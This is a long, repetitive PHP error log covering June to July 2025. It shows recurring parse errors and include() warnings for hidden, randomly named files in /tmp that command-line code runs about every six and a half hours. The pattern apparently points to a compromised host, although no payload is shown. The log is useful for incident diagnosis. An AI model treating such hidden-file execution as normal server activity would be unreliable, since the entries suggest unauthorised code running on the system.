in /tmp/.accepted on line 3 [23-Jun-2025 22:34:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [24-Jun-2025 05:05:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [24-Jun-2025 05:05:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 3 [24-Jun-2025 11:36:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [24-Jun-2025 11:38:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [24-Jun-2025 18:07:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [24-Jun-2025 18:07:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [25-Jun-2025 00:38:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [25-Jun-2025 00:39:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [25-Jun-2025 07:09:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [25-Jun-2025 07:09:27 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [25-Jun-2025 13:38:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [25-Jun-2025 13:40:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [25-Jun-2025 20:11:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [26-Jun-2025 02:42:06 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [26-Jun-2025 02:42:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [26-Jun-2025 09:11:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [26-Jun-2025 09:14:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [26-Jun-2025 15:45:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [26-Jun-2025 15:45:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [26-Jun-2025 22:15:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [26-Jun-2025 22:16:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [27-Jun-2025 04:46:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [27-Jun-2025 04:47:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [27-Jun-2025 11:16:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [27-Jun-2025 11:16:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [27-Jun-2025 17:48:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [27-Jun-2025 17:49:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [28-Jun-2025 00:20:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [28-Jun-2025 00:21:27 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [28-Jun-2025 06:50:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [28-Jun-2025 06:51:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [28-Jun-2025 13:22:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [28-Jun-2025 13:22:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 3 [28-Jun-2025 19:54:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [28-Jun-2025 19:54:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [29-Jun-2025 02:24:11 UTC] PHP Warning: include(/tmp/.rfind): Failed to open stream: No such file or directory in Command line code on line 1 [29-Jun-2025 02:24:11 UTC] PHP Warning: include(): Failed opening '/tmp/.rfind' for inclusion (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in Command line code on line 1 [29-Jun-2025 02:24:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 2 [29-Jun-2025 02:24:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 2 [29-Jun-2025 08:55:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [29-Jun-2025 08:57:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [29-Jun-2025 15:28:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [29-Jun-2025 15:28:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 3 [29-Jun-2025 21:57:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 3 [29-Jun-2025 21:59:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [30-Jun-2025 04:28:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [30-Jun-2025 04:30:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [30-Jun-2025 10:59:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [30-Jun-2025 11:00:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [30-Jun-2025 17:29:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [30-Jun-2025 17:32:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [01-Jul-2025 00:01:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 3 [01-Jul-2025 00:02:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [01-Jul-2025 12:33:54 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 2 [01-Jul-2025 12:34:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 2 [01-Jul-2025 19:04:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 4 [01-Jul-2025 19:04:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 4 [02-Jul-2025 01:33:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 3 [02-Jul-2025 01:35:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [02-Jul-2025 08:05:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [02-Jul-2025 08:05:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [02-Jul-2025 14:42:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [02-Jul-2025 21:07:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 5 [02-Jul-2025 21:07:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 5 [03-Jul-2025 03:37:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [03-Jul-2025 03:37:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [03-Jul-2025 10:07:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [03-Jul-2025 10:09:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [03-Jul-2025 16:38:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [03-Jul-2025 16:39:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [03-Jul-2025 23:10:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 3 [03-Jul-2025 23:11:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [04-Jul-2025 05:42:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [04-Jul-2025 05:42:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [04-Jul-2025 12:13:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [04-Jul-2025 12:13:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 3 [04-Jul-2025 18:43:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [04-Jul-2025 18:43:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 3 [05-Jul-2025 01:14:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [05-Jul-2025 01:15:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [05-Jul-2025 07:45:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [05-Jul-2025 07:47:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [05-Jul-2025 14:17:59 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [05-Jul-2025 14:18:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [05-Jul-2025 20:48:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 2 [05-Jul-2025 20:48:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 2 [06-Jul-2025 03:18:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 3 [06-Jul-2025 03:20:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [06-Jul-2025 09:51:41 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [06-Jul-2025 09:51:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [06-Jul-2025 16:21:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [06-Jul-2025 16:21:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [06-Jul-2025 22:53:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 3 [06-Jul-2025 22:54:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 3 [07-Jul-2025 05:24:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [07-Jul-2025 05:25:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [07-Jul-2025 11:55:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 3 [07-Jul-2025 11:55:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [07-Jul-2025 18:26:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 3 [07-Jul-2025 18:29:03 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [08-Jul-2025 00:57:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 3 [08-Jul-2025 00:58:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 3 [08-Jul-2025 07:28:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 3 [08-Jul-2025 07:29:45 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 3 [08-Jul-2025 13:59:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 3 [08-Jul-2025 14:01:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 3 [08-Jul-2025 20:30:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 6 [08-Jul-2025 20:31:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 6 [09-Jul-2025 03:02:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 3 [09-Jul-2025 03:02:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [09-Jul-2025 09:34:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 3 [09-Jul-2025 09:34:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [09-Jul-2025 16:04:17 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [09-Jul-2025 16:06:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [09-Jul-2025 22:34:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [09-Jul-2025 22:34:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 3 [10-Jul-2025 05:05:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 3 [10-Jul-2025 05:07:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 3 [10-Jul-2025 11:36:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 3 [10-Jul-2025 11:38:41 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [10-Jul-2025 18:08:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [10-Jul-2025 18:08:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 3 [11-Jul-2025 00:37:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 2 [11-Jul-2025 00:37:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 2 [11-Jul-2025 06:39:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 3 [11-Jul-2025 06:40:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 3 [11-Jul-2025 13:10:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 3 [11-Jul-2025 13:11:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [11-Jul-2025 19:41:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [11-Jul-2025 19:42:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 3 [12-Jul-2025 02:13:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 3 [12-Jul-2025 02:13:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [12-Jul-2025 08:15:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 3 [12-Jul-2025 08:16:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 3 [12-Jul-2025 14:47:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [12-Jul-2025 14:47:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 5 [12-Jul-2025 21:17:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [12-Jul-2025 21:18:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 5 [13-Jul-2025 03:47:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [13-Jul-2025 03:47:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [13-Jul-2025 10:20:13 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [13-Jul-2025 10:21:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 5 [13-Jul-2025 16:50:49 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 5 [13-Jul-2025 16:50:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [13-Jul-2025 23:21:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [13-Jul-2025 23:22:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [14-Jul-2025 05:53:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [14-Jul-2025 05:54:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 5 [14-Jul-2025 12:23:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 5 [14-Jul-2025 12:24:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [14-Jul-2025 18:54:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [14-Jul-2025 18:54:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 5 [15-Jul-2025 01:26:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 5 [15-Jul-2025 01:26:13 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 5 [15-Jul-2025 07:58:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 5 [15-Jul-2025 07:58:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [15-Jul-2025 14:26:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [15-Jul-2025 14:28:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [15-Jul-2025 20:57:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 5 [15-Jul-2025 20:58:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [16-Jul-2025 03:29:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [16-Jul-2025 09:59:27 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [16-Jul-2025 09:59:32 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 5 [16-Jul-2025 16:30:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [16-Jul-2025 16:31:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [16-Jul-2025 23:04:16 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [16-Jul-2025 23:04:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 5 [17-Jul-2025 05:34:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [17-Jul-2025 05:34:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 5 [17-Jul-2025 12:07:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 5 [17-Jul-2025 12:07:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [17-Jul-2025 18:39:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [17-Jul-2025 18:41:59 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [18-Jul-2025 01:10:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 5 [18-Jul-2025 01:10:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 5 [18-Jul-2025 07:40:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 5 [18-Jul-2025 07:41:45 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 5 [18-Jul-2025 14:14:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 5 [18-Jul-2025 14:14:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 5 [18-Jul-2025 20:43:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 5 [18-Jul-2025 20:44:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [19-Jul-2025 03:16:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [19-Jul-2025 03:16:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 5 [19-Jul-2025 09:45:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [19-Jul-2025 09:45:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [19-Jul-2025 16:16:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [19-Jul-2025 16:16:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [19-Jul-2025 22:48:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 5 [19-Jul-2025 22:49:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 5 [20-Jul-2025 05:18:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [20-Jul-2025 05:20:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [20-Jul-2025 11:51:57 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 5 [20-Jul-2025 11:52:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [21-Jul-2025 00:51:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 4 [21-Jul-2025 00:54:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 4 [21-Jul-2025 07:26:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [21-Jul-2025 07:26:38 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [21-Jul-2025 13:57:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [21-Jul-2025 13:57:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [21-Jul-2025 20:05:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 5 [21-Jul-2025 20:06:41 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [22-Jul-2025 02:37:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [22-Jul-2025 02:38:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 5 [22-Jul-2025 09:07:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 5 [22-Jul-2025 09:08:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [22-Jul-2025 15:38:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [22-Jul-2025 15:38:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [22-Jul-2025 22:09:13 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 5 [22-Jul-2025 22:11:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 5 [23-Jul-2025 04:40:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 5 [23-Jul-2025 04:40:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 5 [23-Jul-2025 11:12:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [23-Jul-2025 11:12:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [23-Jul-2025 17:21:29 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 5 [23-Jul-2025 17:22:35 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 5 [23-Jul-2025 23:52:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [23-Jul-2025 23:52:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [24-Jul-2025 06:23:13 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [24-Jul-2025 06:23:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 5 [24-Jul-2025 12:55:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [24-Jul-2025 12:56:39 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [24-Jul-2025 19:22:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [24-Jul-2025 19:22:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [25-Jul-2025 01:53:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 5 [25-Jul-2025 01:54:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [25-Jul-2025 08:25:41 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [25-Jul-2025 08:26:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [25-Jul-2025 14:55:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [25-Jul-2025 14:56:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting 